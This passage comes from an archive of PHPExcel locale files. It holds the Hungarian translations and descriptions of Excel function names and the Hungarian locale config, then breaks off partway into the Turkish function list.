Decimális számot binárissá alakít át. DEC2HEX = DEC2HEX ## Decimális számot hexadecimálissá alakít át. DEC2OCT = DEC2OCT ## Decimális számot oktálissá alakít át. DELTA = DELTA ## Azt vizsgálja, hogy két érték egyenlő-e. ERF = ERF ## A hibafüggvény értékét adja eredményül. ERFC = ERFC ## A kiegészített hibafüggvény értékét adja eredményül. GESTEP = GESTEP ## Azt vizsgálja, hogy egy szám nagyobb-e adott küszöbértéknél. HEX2BIN = HEX2BIN ## Hexadecimális számot binárissá alakít át. HEX2DEC = HEX2DEC ## Hexadecimális számot decimálissá alakít át. HEX2OCT = HEX2OCT ## Hexadecimális számot oktálissá alakít át. IMABS = IMABS ## Komplex szám abszolút értékét (modulusát) adja eredményül. IMAGINARY = IMAGINARY ## Komplex szám képzetes részét adja eredményül. IMARGUMENT = IMARGUMENT ## A komplex szám radiánban kifejezett théta argumentumát adja eredményül. IMCONJUGATE = IMCONJUGATE ## Komplex szám komplex konjugáltját adja eredményül. IMCOS = IMCOS ## Komplex szám koszinuszát adja eredményül. IMDIV = IMDIV ## Két komplex szám hányadosát adja eredményül. IMEXP = IMEXP ## Az e szám komplex kitevőjű hatványát adja eredményül. IMLN = IMLN ## Komplex szám természetes logaritmusát adja eredményül. IMLOG10 = IMLOG10 ## Komplex szám tízes alapú logaritmusát adja eredményül. IMLOG2 = IMLOG2 ## Komplex szám kettes alapú logaritmusát adja eredményül. IMPOWER = IMPOWER ## Komplex szám hatványát adja eredményül. IMPRODUCT = IMPRODUCT ## Komplex számok szorzatát adja eredményül. IMREAL = IMREAL ## Komplex szám valós részét adja eredményül. IMSIN = IMSIN ## Komplex szám szinuszát adja eredményül. IMSQRT = IMSQRT ## Komplex szám négyzetgyökét adja eredményül. IMSUB = IMSUB ## Két komplex szám különbségét adja eredményül. IMSUM = IMSUM ## Komplex számok összegét adja eredményül. OCT2BIN = OCT2BIN ## Oktális számot binárissá alakít át. OCT2DEC = OCT2DEC ## Oktális számot decimálissá alakít át. OCT2HEX = OCT2HEX ## Oktális számot hexadecimálissá alakít át. ## ## Financial functions Pénzügyi függvények ## ACCRINT = ACCRINT ## Periodikusan kamatozó értékpapír felszaporodott kamatát adja eredményül. ACCRINTM = ACCRINTM ## Lejáratkor kamatozó értékpapír felszaporodott kamatát adja eredményül. AMORDEGRC = AMORDEGRC ## Állóeszköz lineáris értékcsökkenését adja meg az egyes könyvelési időszakokra vonatkozóan. AMORLINC = AMORLINC ## Az egyes könyvelési időszakokban az értékcsökkenést adja meg. COUPDAYBS = COUPDAYBS ## A szelvényidőszak kezdetétől a kifizetés időpontjáig eltelt napokat adja vissza. COUPDAYS = COUPDAYS ## A kifizetés időpontját magában foglaló szelvényperiódus hosszát adja meg napokban. COUPDAYSNC = COUPDAYSNC ## A kifizetés időpontja és a legközelebbi szelvénydátum közötti napok számát adja meg. COUPNCD = COUPNCD ## A kifizetést követő legelső szelvénydátumot adja eredményül. COUPNUM = COUPNUM ## A kifizetés és a lejárat időpontja között kifizetendő szelvények számát adja eredményül. COUPPCD = COUPPCD ## A kifizetés előtti utolsó szelvénydátumot adja eredményül. CUMIPMT = CUMIPMT ## Két fizetési időszak között kifizetett kamat halmozott értékét adja eredményül. CUMPRINC = CUMPRINC ## Két fizetési időszak között kifizetett részletek halmozott (kamatot nem tartalmazó) értékét adja eredményül. DB = KCS2 ## Eszköz adott időszak alatti értékcsökkenését számítja ki a lineáris leírási modell alkalmazásával. DDB = KCSA ## Eszköz értékcsökkenését számítja ki adott időszakra vonatkozóan a progresszív vagy egyéb megadott leírási modell alkalmazásával. DISC = DISC ## Értékpapír leszámítolási kamatlábát adja eredményül. DOLLARDE = DOLLARDE ## Egy közönséges törtként megadott számot tizedes törtté alakít át. DOLLARFR = DOLLARFR ## Tizedes törtként megadott számot közönséges törtté alakít át. DURATION = DURATION ## Periodikus kamatfizetésű értékpapír éves kamatérzékenységét adja eredményül. EFFECT = EFFECT ## Az éves tényleges kamatláb értékét adja eredményül. FV = JBÉ ## Befektetés jövőbeli értékét számítja ki. FVSCHEDULE = FVSCHEDULE ## A kezdőtőke adott kamatlábak szerint megnövelt jövőbeli értékét adja eredményül. INTRATE = INTRATE ## A lejáratig teljesen lekötött értékpapír kamatrátáját adja eredményül. IPMT = RRÉSZLET ## Hiteltörlesztésen belül a tőketörlesztés nagyságát számítja ki adott időszakra. IRR = BMR ## A befektetés belső megtérülési rátáját számítja ki pénzáramláshoz. ISPMT = LRÉSZLETKAMAT ## A befektetés adott időszakára fizetett kamatot számítja ki. MDURATION = MDURATION ## Egy 100 Ft névértékű értékpapír Macauley-féle módosított kamatérzékenységét adja eredményül. MIRR = MEGTÉRÜLÉS ## A befektetés belső megtérülési rátáját számítja ki a költségek és a bevételek különböző kamatlába mellett. NOMINAL = NOMINAL ## Az éves névleges kamatláb értékét adja eredményül. NPER = PER.SZÁM ## A törlesztési időszakok számát adja meg. NPV = NMÉ ## Befektetéshez kapcsolódó pénzáramlás nettó jelenértékét számítja ki ismert pénzáramlás és kamatláb mellett. ODDFPRICE = ODDFPRICE ## Egy 100 Ft névértékű, a futamidő elején töredék-időszakos értékpapír árát adja eredményül. ODDFYIELD = ODDFYIELD ## A futamidő elején töredék-időszakos értékpapír hozamát adja eredményül. ODDLPRICE = ODDLPRICE ## Egy 100 Ft névértékű, a futamidő végén töredék-időszakos értékpapír árát adja eredményül. ODDLYIELD = ODDLYIELD ## A futamidő végén töredék-időszakos értékpapír hozamát adja eredményül. PMT = RÉSZLET ## A törlesztési időszakra vonatkozó törlesztési összeget számítja ki. PPMT = PRÉSZLET ## Hiteltörlesztésen belül a tőketörlesztés nagyságát számítja ki adott időszakra. PRICE = PRICE ## Egy 100 Ft névértékű, periodikusan kamatozó értékpapír árát adja eredményül. PRICEDISC = PRICEDISC ## Egy 100 Ft névértékű leszámítolt értékpapír árát adja eredményül. PRICEMAT = PRICEMAT ## Egy 100 Ft névértékű, a lejáratkor kamatozó értékpapír árát adja eredményül. PV = MÉ ## Befektetés jelenlegi értékét számítja ki. RATE = RÁTA ## Egy törlesztési időszakban az egy időszakra eső kamatláb nagyságát számítja ki. RECEIVED = RECEIVED ## A lejáratig teljesen lekötött értékpapír lejáratakor kapott összegét adja eredményül. SLN = LCSA ## Tárgyi eszköz egy időszakra eső amortizációját adja meg bruttó érték szerinti lineáris leírási kulcsot alkalmazva. SYD = SYD ## Tárgyi eszköz értékcsökkenését számítja ki adott időszakra az évek számjegyösszegével dolgozó módszer alapján. TBILLEQ = TBILLEQ ## Kincstárjegy kötvény-egyenértékű hozamát adja eredményül. TBILLPRICE = TBILLPRICE ## Egy 100 Ft névértékű kincstárjegy árát adja eredményül. TBILLYIELD = TBILLYIELD ## Kincstárjegy hozamát adja eredményül. VDB = ÉCSRI ## Tárgyi eszköz amortizációját számítja ki megadott vagy részidőszakra a csökkenő egyenleg módszerének alkalmazásával. XIRR = XIRR ## Ütemezett készpénzforgalom (cash flow) belső megtérülési kamatrátáját adja eredményül. XNPV = XNPV ## Ütemezett készpénzforgalom (cash flow) nettó jelenlegi értékét adja eredményül. YIELD = YIELD ## Periodikusan kamatozó értékpapír hozamát adja eredményül. YIELDDISC = YIELDDISC ## Leszámítolt értékpapír (például kincstárjegy) éves hozamát adja eredményül. YIELDMAT = YIELDMAT ## Lejáratkor kamatozó értékpapír éves hozamát adja eredményül. ## ## Information functions Információs függvények ## CELL = CELLA ## Egy cella formátumára, elhelyezkedésére vagy tartalmára vonatkozó adatokat ad eredményül. ERROR.TYPE = HIBA.TÍPUS ## Egy hibatípushoz tartozó számot ad eredményül. INFO = INFÓ ## A rendszer- és munkakörnyezet pillanatnyi állapotáról ad felvilágosítást. ISBLANK = ÜRES ## Eredménye IGAZ, ha az érték üres. ISERR = HIBA ## Eredménye IGAZ, ha az érték valamelyik hibaérték a #HIÁNYZIK kivételével. ISERROR = HIBÁS ## Eredménye IGAZ, ha az érték valamelyik hibaérték. ISEVEN = ISEVEN ## Eredménye IGAZ, ha argumentuma páros szám. ISLOGICAL = LOGIKAI ## Eredménye IGAZ, ha az érték logikai érték. ISNA = NINCS ## Eredménye IGAZ, ha az érték a #HIÁNYZIK hibaérték. ISNONTEXT = NEM.SZÖVEG ## Eredménye IGAZ, ha az érték nem szöveg. ISNUMBER = SZÁM ## Eredménye IGAZ, ha az érték szám. ISODD = ISODD ## Eredménye IGAZ, ha argumentuma páratlan szám. ISREF = HIVATKOZÁS ## Eredménye IGAZ, ha az érték hivatkozás. ISTEXT = SZÖVEG.E ## Eredménye IGAZ, ha az érték szöveg. N = N ## Argumentumának értékét számmá alakítja. NA = HIÁNYZIK ## Eredménye a #HIÁNYZIK hibaérték. TYPE = TÍPUS ## Érték adattípusának azonosítószámát adja eredményül. ## ## Logical functions Logikai függvények ## AND = ÉS ## Eredménye IGAZ, ha minden argumentuma IGAZ. FALSE = HAMIS ## A HAMIS logikai értéket adja eredményül. IF = HA ## Logikai vizsgálatot hajt végre. IFERROR = HAHIBA ## A megadott értéket adja vissza, ha egy képlet hibához vezet; más esetben a képlet értékét adja eredményül. NOT = NEM ## Argumentuma értékének ellentettjét adja eredményül. OR = VAGY ## Eredménye IGAZ, ha bármely argumentuma IGAZ. TRUE = IGAZ ## Az IGAZ logikai értéket adja eredményül. ## ## Lookup and reference functions Keresési és hivatkozási függvények ## ADDRESS = CÍM ## A munkalap egy cellájára való hivatkozást adja szövegként eredményül. AREAS = TERÜLET ## Hivatkozásban a területek számát adja eredményül. CHOOSE = VÁLASZT ## Értékek listájából választ ki egy elemet. COLUMN = OSZLOP ## Egy hivatkozás oszlopszámát adja eredményül. COLUMNS = OSZLOPOK ## A hivatkozásban található oszlopok számát adja eredményül. HLOOKUP = VKERES ## A megadott tömb felső sorában adott értékű elemet keres, és a megtalált elem oszlopából adott sorban elhelyezkedő értékkel tér vissza. HYPERLINK = HIPERHIVATKOZÁS ## Hálózati kiszolgálón, intraneten vagy az interneten tárolt dokumentumot megnyitó parancsikont vagy hivatkozást hoz létre. INDEX = INDEX ## Tömb- vagy hivatkozás indexszel megadott értékét adja vissza. INDIRECT = INDIREKT ## Szöveg megadott hivatkozást ad eredményül. LOOKUP = KERES ## Vektorban vagy tömbben keres meg értékeket. MATCH = HOL.VAN ## Hivatkozásban vagy tömbben értékeket keres. OFFSET = OFSZET ## Hivatkozás egy másik hivatkozástól számított távolságát adja meg. ROW = SOR ## Egy hivatkozás sorának számát adja meg. ROWS = SOROK ## Egy hivatkozás sorainak számát adja meg. RTD = RTD ## Valós idejű adatokat keres vissza a COM automatizmust (automatizálás: Egy alkalmazás objektumaival való munka másik alkalmazásból vagy fejlesztőeszközből. A korábban OLE automatizmusnak nevezett automatizálás iparági szabvány, a Component Object Model (COM) szolgáltatása.) támogató programból. TRANSPOSE = TRANSZPONÁLÁS ## Egy tömb transzponáltját adja eredményül. VLOOKUP = FKERES ## A megadott tömb bal szélső oszlopában megkeres egy értéket, majd annak sora és a megadott oszlop metszéspontjában levő értéked adja eredményül. ## ## Math and trigonometry functions Matematikai és trigonometrikus függvények ## ABS = ABS ## Egy szám abszolút értékét adja eredményül. ACOS = ARCCOS ## Egy szám arkusz koszinuszát számítja ki. ACOSH = ACOSH ## Egy szám inverz koszinusz hiperbolikuszát számítja ki. ASIN = ARCSIN ## Egy szám arkusz szinuszát számítja ki. ASINH = ASINH ## Egy szám inverz szinusz hiperbolikuszát számítja ki. ATAN = ARCTAN ## Egy szám arkusz tangensét számítja ki. ATAN2 = ARCTAN2 ## X és y koordináták alapján számítja ki az arkusz tangens értéket. ATANH = ATANH ## A szám inverz tangens hiperbolikuszát számítja ki. CEILING = PLAFON ## Egy számot a legközelebbi egészre vagy a pontosságként megadott érték legközelebb eső többszörösére kerekít. COMBIN = KOMBINÁCIÓK ## Adott számú objektum összes lehetséges kombinációinak számát számítja ki. COS = COS ## Egy szám koszinuszát számítja ki. COSH = COSH ## Egy szám koszinusz hiperbolikuszát számítja ki. DEGREES = FOK ## Radiánt fokká alakít át. EVEN = PÁROS ## Egy számot a legközelebbi páros egész számra kerekít. EXP = KITEVŐ ## Az e adott kitevőjű hatványát adja eredményül. FACT = FAKT ## Egy szám faktoriálisát számítja ki. FACTDOUBLE = FACTDOUBLE ## Egy szám dupla faktoriálisát adja eredményül. FLOOR = PADLÓ ## Egy számot lefelé, a nulla felé kerekít. GCD = GCD ## A legnagyobb közös osztót adja eredményül. INT = INT ## Egy számot lefelé kerekít a legközelebbi egészre. LCM = LCM ## A legkisebb közös többszöröst adja eredményül. LN = LN ## Egy szám természetes logaritmusát számítja ki. LOG = LOG ## Egy szám adott alapú logaritmusát számítja ki. LOG10 = LOG10 ## Egy szám 10-es alapú logaritmusát számítja ki. MDETERM = MDETERM ## Egy tömb mátrix-determinánsát számítja ki. MINVERSE = INVERZ.MÁTRIX ## Egy tömb mátrix inverzét adja eredményül. MMULT = MSZORZAT ## Két tömb mátrix-szorzatát adja meg. MOD = MARADÉK ## Egy szám osztási maradékát adja eredményül. MROUND = MROUND ## A kívánt többszörösére kerekített értéket ad eredményül. MULTINOMIAL = MULTINOMIAL ## Számhalmaz multinomiálisát adja eredményül. ODD = PÁRATLAN ## Egy számot a legközelebbi páratlan számra kerekít. PI = PI ## A pi matematikai állandót adja vissza. POWER = HATVÁNY ## Egy szám adott kitevőjű hatványát számítja ki. PRODUCT = SZORZAT ## Argumentumai szorzatát számítja ki. QUOTIENT = QUOTIENT ## Egy hányados egész részét adja eredményül. RADIANS = RADIÁN ## Fokot radiánná alakít át. RAND = VÉL ## Egy 0 és 1 közötti véletlen számot ad eredményül. RANDBETWEEN = RANDBETWEEN ## Megadott számok közé eső véletlen számot állít elő. ROMAN = RÓMAI ## Egy számot római számokkal kifejezve szövegként ad eredményül. ROUND = KEREKÍTÉS ## Egy számot adott számú számjegyre kerekít. ROUNDDOWN = KEREKÍTÉS.LE ## Egy számot lefelé, a nulla felé kerekít. ROUNDUP = KEREKÍTÉS.FEL ## Egy számot felfelé, a nullától távolabbra kerekít. SERIESSUM = SERIESSUM ## Hatványsor összegét adja eredményül. SIGN = ELŐJEL ## Egy szám előjelét adja meg. SIN = SIN ## Egy szög szinuszát számítja ki. SINH = SINH ## Egy szám szinusz hiperbolikuszát számítja ki. SQRT = GYÖK ## Egy szám pozitív négyzetgyökét számítja ki. SQRTPI = SQRTPI ## A (szám*pi) négyzetgyökét adja eredményül. SUBTOTAL = RÉSZÖSSZEG ## Lista vagy adatbázis részösszegét adja eredményül. SUM = SZUM ## Összeadja az argumentumlistájában lévő számokat. SUMIF = SZUMHA ## A megadott feltételeknek eleget tevő cellákban található értékeket adja össze. SUMIFS = SZUMHATÖBB ## Több megadott feltételnek eleget tévő tartománycellák összegét adja eredményül. SUMPRODUCT = SZORZATÖSSZEG ## A megfelelő tömbelemek szorzatának összegét számítja ki. SUMSQ = NÉGYZETÖSSZEG ## Argumentumai négyzetének összegét számítja ki. SUMX2MY2 = SZUMX2BŐLY2 ## Két tömb megfelelő elemei négyzetének különbségét összegzi. SUMX2PY2 = SZUMX2MEGY2 ## Két tömb megfelelő elemei négyzetének összegét összegzi. SUMXMY2 = SZUMXBŐLY2 ## Két tömb megfelelő elemei különbségének négyzetösszegét számítja ki. TAN = TAN ## Egy szám tangensét számítja ki. TANH = TANH ## Egy szám tangens hiperbolikuszát számítja ki. TRUNC = CSONK ## Egy számot egésszé csonkít. ## ## Statistical functions Statisztikai függvények ## AVEDEV = ÁTL.ELTÉRÉS ## Az adatpontoknak átlaguktól való átlagos abszolút eltérését számítja ki. AVERAGE = ÁTLAG ## Argumentumai átlagát számítja ki. AVERAGEA = ÁTLAGA ## Argumentumai átlagát számítja ki (beleértve a számokat, szöveget és logikai értékeket). AVERAGEIF = ÁTLAGHA ## A megadott feltételnek eleget tévő tartomány celláinak átlagát (számtani közepét) adja eredményül. AVERAGEIFS = ÁTLAGHATÖBB ## A megadott feltételeknek eleget tévő cellák átlagát (számtani közepét) adja eredményül. BETADIST = BÉTA.ELOSZLÁS ## A béta-eloszlás függvényt számítja ki. BETAINV = INVERZ.BÉTA ## Adott béta-eloszláshoz kiszámítja a béta eloszlásfüggvény inverzét. BINOMDIST = BINOM.ELOSZLÁS ## A diszkrét binomiális eloszlás valószínűségértékét számítja ki. CHIDIST = KHI.ELOSZLÁS ## A khi-négyzet-eloszlás egyszélű valószínűségértékét számítja ki. CHIINV = INVERZ.KHI ## A khi-négyzet-eloszlás egyszélű valószínűségértékének inverzét számítja ki. CHITEST = KHI.PRÓBA ## Függetlenségvizsgálatot hajt végre. CONFIDENCE = MEGBÍZHATÓSÁG ## Egy statisztikai sokaság várható értékének megbízhatósági intervallumát adja eredményül. CORREL = KORREL ## Két adathalmaz korrelációs együtthatóját számítja ki. COUNT = DARAB ## Megszámolja, hogy argumentumlistájában hány szám található. COUNTA = DARAB2 ## Megszámolja, hogy argumentumlistájában hány érték található. COUNTBLANK = DARABÜRES ## Egy tartományban összeszámolja az üres cellákat. COUNTIF = DARABTELI ## Egy tartományban összeszámolja azokat a cellákat, amelyek eleget tesznek a megadott feltételnek. COUNTIFS = DARABHATÖBB ## Egy tartományban összeszámolja azokat a cellákat, amelyek eleget tesznek több feltételnek. COVAR = KOVAR ## A kovarianciát, azaz a páronkénti eltérések szorzatának átlagát számítja ki. CRITBINOM = KRITBINOM ## Azt a legkisebb számot adja eredményül, amelyre a binomiális eloszlásfüggvény értéke nem kisebb egy adott határértéknél. DEVSQ = SQ ## Az átlagtól való eltérések négyzetének összegét számítja ki. EXPONDIST = EXP.ELOSZLÁS ## Az exponenciális eloszlás értékét számítja ki. FDIST = F.ELOSZLÁS ## Az F-eloszlás értékét számítja ki. FINV = INVERZ.F ## Az F-eloszlás inverzének értékét számítja ki. FISHER = FISHER ## Fisher-transzformációt hajt végre. FISHERINV = INVERZ.FISHER ## A Fisher-transzformáció inverzét hajtja végre. FORECAST = ELŐREJELZÉS ## Az ismert értékek alapján lineáris regresszióval becsült értéket ad eredményül. FREQUENCY = GYAKORISÁG ## A gyakorisági vagy empirikus eloszlás értékét függőleges tömbként adja eredményül. FTEST = F.PRÓBA ## Az F-próba értékét adja eredményül. GAMMADIST = GAMMA.ELOSZLÁS ## A gamma-eloszlás értékét számítja ki. GAMMAINV = INVERZ.GAMMA ## A gamma-eloszlás eloszlásfüggvénye inverzének értékét számítja ki. GAMMALN = GAMMALN ## A gamma-függvény természetes logaritmusát számítja ki. GEOMEAN = MÉRTANI.KÖZÉP ## Argumentumai mértani középértékét számítja ki. GROWTH = NÖV ## Exponenciális regresszió alapján ad becslést. HARMEAN = HARM.KÖZÉP ## Argumentumai harmonikus átlagát számítja ki. HYPGEOMDIST = HIPERGEOM.ELOSZLÁS ## A hipergeometriai eloszlás értékét számítja ki. INTERCEPT = METSZ ## A regressziós egyenes y tengellyel való metszéspontját határozza meg. KURT = CSÚCSOSSÁG ## Egy adathalmaz csúcsosságát számítja ki. LARGE = NAGY ## Egy adathalmaz k-adik legnagyobb elemét adja eredményül. LINEST = LIN.ILL ## A legkisebb négyzetek módszerével az adatokra illesztett egyenes paramétereit határozza meg. LOGEST = LOG.ILL ## Az adatokra illesztett exponenciális görbe paramétereit határozza meg. LOGINV = INVERZ.LOG.ELOSZLÁS ## A lognormális eloszlás inverzét számítja ki. LOGNORMDIST = LOG.ELOSZLÁS ## A lognormális eloszlásfüggvény értékét számítja ki. MAX = MAX ## Az argumentumai között szereplő legnagyobb számot adja meg. MAXA = MAX2 ## Az argumentumai között szereplő legnagyobb számot adja meg (beleértve a számokat, szöveget és logikai értékeket). MEDIAN = MEDIÁN ## Adott számhalmaz mediánját számítja ki. MIN = MIN ## Az argumentumai között szereplő legkisebb számot adja meg. MINA = MIN2 ## Az argumentumai között szereplő legkisebb számot adja meg, beleértve a számokat, szöveget és logikai értékeket. MODE = MÓDUSZ ## Egy adathalmazból kiválasztja a leggyakrabban előforduló számot. NEGBINOMDIST = NEGBINOM.ELOSZL ## A negatív binomiális eloszlás értékét számítja ki. NORMDIST = NORM.ELOSZL ## A normális eloszlás értékét számítja ki. NORMINV = INVERZ.NORM ## A normális eloszlás eloszlásfüggvénye inverzének értékét számítja ki. NORMSDIST = STNORMELOSZL ## A standard normális eloszlás eloszlásfüggvényének értékét számítja ki. NORMSINV = INVERZ.STNORM ## A standard normális eloszlás eloszlásfüggvénye inverzének értékét számítja ki. PEARSON = PEARSON ## A Pearson-féle korrelációs együtthatót számítja ki. PERCENTILE = PERCENTILIS ## Egy tartományban található értékek k-adik percentilisét, azaz százalékosztályát adja eredményül. PERCENTRANK = SZÁZALÉKRANG ## Egy értéknek egy adathalmazon belül vett százalékos rangját (elhelyezkedését) számítja ki. PERMUT = VARIÁCIÓK ## Adott számú objektum k-ad osztályú ismétlés nélküli variációinak számát számítja ki. POISSON = POISSON ## A Poisson-eloszlás értékét számítja ki. PROB = VALÓSZÍNŰSÉG ## Annak valószínűségét számítja ki, hogy adott értékek két határérték közé esnek. QUARTILE = KVARTILIS ## Egy adathalmaz kvartilisét (negyedszintjét) számítja ki. RANK = SORSZÁM ## Kiszámítja, hogy egy szám hányadik egy számsorozatban. RSQ = RNÉGYZET ## Kiszámítja a Pearson-féle szorzatmomentum korrelációs együtthatójának négyzetét. SKEW = FERDESÉG ## Egy eloszlás ferdeségét határozza meg. SLOPE = MEREDEKSÉG ## Egy lineáris regressziós egyenes meredekségét számítja ki. SMALL = KICSI ## Egy adathalmaz k-adik legkisebb elemét adja meg. STANDARDIZE = NORMALIZÁLÁS ## Normalizált értéket ad eredményül. STDEV = SZÓRÁS ## Egy statisztikai sokaság mintájából kiszámítja annak szórását. STDEVA = SZÓRÁSA ## Egy statisztikai sokaság mintájából kiszámítja annak szórását (beleértve a számokat, szöveget és logikai értékeket). STDEVP = SZÓRÁSP ## Egy statisztikai sokaság egészéből kiszámítja annak szórását. STDEVPA = SZÓRÁSPA ## Egy statisztikai sokaság egészéből kiszámítja annak szórását (beleértve számokat, szöveget és logikai értékeket). STEYX = STHIBAYX ## Egy regresszió esetén az egyes x-értékek alapján meghatározott y-értékek standard hibáját számítja ki. TDIST = T.ELOSZLÁS ## A Student-féle t-eloszlás értékét számítja ki. TINV = INVERZ.T ## A Student-féle t-eloszlás inverzét számítja ki. TREND = TREND ## Lineáris trend értékeit számítja ki. TRIMMEAN = RÉSZÁTLAG ## Egy adathalmaz középső részének átlagát számítja ki. TTEST = T.PRÓBA ## A Student-féle t-próbához tartozó valószínűséget számítja ki. VAR = VAR ## Minta alapján becslést ad a varianciára. VARA = VARA ## Minta alapján becslést ad a varianciára (beleértve számokat, szöveget és logikai értékeket). VARP = VARP ## Egy statisztikai sokaság varianciáját számítja ki. VARPA = VARPA ## Egy statisztikai sokaság varianciáját számítja ki (beleértve számokat, szöveget és logikai értékeket). WEIBULL = WEIBULL ## A Weibull-féle eloszlás értékét számítja ki. ZTEST = Z.PRÓBA ## Az egyszélű z-próbával kapott valószínűségértéket számítja ki. ## ## Text functions Szövegműveletekhez használható függvények ## ASC = ASC ## Szöveg teljes szélességű (kétbájtos) latin és katakana karaktereit félszélességű (egybájtos) karakterekké alakítja. BAHTTEXT = BAHTSZÖVEG ## Számot szöveggé alakít a ß (baht) pénznemformátum használatával. CHAR = KARAKTER ## A kódszámmal meghatározott karaktert adja eredményül. CLEAN = TISZTÍT ## A szövegből eltávolítja az összes nem nyomtatható karaktert. CODE = KÓD ## Karaktersorozat első karakterének numerikus kódját adja eredményül. CONCATENATE = ÖSSZEFŰZ ## Több szövegelemet egyetlen szöveges elemmé fűz össze. DOLLAR = FORINT ## Számot pénznem formátumú szöveggé alakít át. EXACT = AZONOS ## Megvizsgálja, hogy két érték azonos-e. FIND = SZÖVEG.TALÁL ## Karaktersorozatot keres egy másikban (a kis- és nagybetűk megkülönböztetésével). FINDB = SZÖVEG.TALÁL2 ## Karaktersorozatot keres egy másikban (a kis- és nagybetűk megkülönböztetésével). FIXED = FIX ## Számot szöveges formátumúra alakít adott számú tizedesjegyre kerekítve. JIS = JIS ## A félszélességű (egybájtos) latin és a katakana karaktereket teljes szélességű (kétbájtos) karakterekké alakítja. LEFT = BAL ## Szöveg bal szélső karaktereit adja eredményül. LEFTB = BAL2 ## Szöveg bal szélső karaktereit adja eredményül. LEN = HOSSZ ## Szöveg karakterekben mért hosszát adja eredményül. LENB = HOSSZ2 ## Szöveg karakterekben mért hosszát adja eredményül. LOWER = KISBETŰ ## Szöveget kisbetűssé alakít át. MID = KÖZÉP ## A szöveg adott pozíciójától kezdve megadott számú karaktert ad vissza eredményként. MIDB = KÖZÉP2 ## A szöveg adott pozíciójától kezdve megadott számú karaktert ad vissza eredményként. PHONETIC = PHONETIC ## Szöveg furigana (fonetikus) karaktereit adja vissza. PROPER = TNÉV ## Szöveg minden szavának kezdőbetűjét nagybetűsre cseréli. REPLACE = CSERE ## A szövegen belül karaktereket cserél. REPLACEB = CSERE2 ## A szövegen belül karaktereket cserél. REPT = SOKSZOR ## Megadott számú alkalommal megismétel egy szövegrészt. RIGHT = JOBB ## Szövegrész jobb szélső karaktereit adja eredményül. RIGHTB = JOBB2 ## Szövegrész jobb szélső karaktereit adja eredményül. SEARCH = SZÖVEG.KERES ## Karaktersorozatot keres egy másikban (a kis- és nagybetűk között nem tesz különbséget). SEARCHB = SZÖVEG.KERES2 ## Karaktersorozatot keres egy másikban (a kis- és nagybetűk között nem tesz különbséget). SUBSTITUTE = HELYETTE ## Szövegben adott karaktereket másikra cserél. T = T ## Argumentumát szöveggé alakítja át. TEXT = SZÖVEG ## Számértéket alakít át adott számformátumú szöveggé. TRIM = TRIM ## A szövegből eltávolítja a szóközöket. UPPER = NAGYBETŰS ## Szöveget nagybetűssé alakít át. VALUE = ÉRTÉK ## Szöveget számmá alakít át. PHPExcel/locale/hu/config 0000644 00000002473 14642534110 0011225 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = Ft ## ## Excel Error Codes (For future use) ## NULL = #NULLA! DIV0 = #ZÉRÓOSZTÓ! VALUE = #ÉRTÉK! REF = #HIV! NAME = #NÉV? NUM = #SZÁM! NA = #HIÁNYZIK PHPExcel/locale/tr/functions 0000644 00000100103 14642534110 0011766 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Eklenti ve Otomasyon fonksiyonları ## GETPIVOTDATA = ÖZETVERİAL ## Bir Özet Tablo raporunda saklanan verileri verir. ## ## Cube functions Küp işlevleri ## CUBEKPIMEMBER = KÜPKPIÜYE ## Kilit performans göstergesi (KPI-Key Performance Indicator) adını, özelliğini ve ölçüsünü verir ve hücredeki ad ve özelliği gösterir. KPI, bir kurumun performansını izlemek için kullanılan aylık brüt kâr ya da üç aylık çalışan giriş çıkışları gibi ölçülebilen bir birimdir. CUBEMEMBER = KÜPÜYE ## Bir küp hiyerarşisinde bir üyeyi veya kaydı verir. Üye veya kaydın küpte varolduğunu doğrulamak için kullanılır. CUBEMEMBERPROPERTY = KÜPÜYEÖZELLİĞİ ## Bir küpte bir üyenin özelliğinin değerini verir. Küp içinde üye adının varlığını doğrulamak ve bu üyenin belli özelliklerini getirmek için kullanılır. CUBERANKEDMEMBER = KÜPÜYESIRASI ## Bir küme içindeki üyenin derecesini veya kaçıncı olduğunu verir. En iyi satış elemanı, veya en iyi on öğrenci gibi bir kümedeki bir veya daha fazla öğeyi getirmek için kullanılır. CUBESET = KÜPKÜME ## Kümeyi oluşturan ve ardından bu kümeyi Microsoft Office Excel'e getiren sunucudaki küpe küme ifadelerini göndererek hesaplanan üye veya kayıt kümesini tanımlar. CUBESETCOUNT = KÜPKÜMESAY ## Bir kümedeki öğelerin sayısını getirir. CUBEVALUE = KÜPDEĞER ## Bir küpten toplam değeri getirir. ## ## Database functions Veritabanı işlevleri ## DAVERAGE = VSEÇORT ## Seçili veritabanı girdilerinin ortalamasını verir. DCOUNT = VSEÇSAY ## Veritabanında sayı içeren hücre sayısını 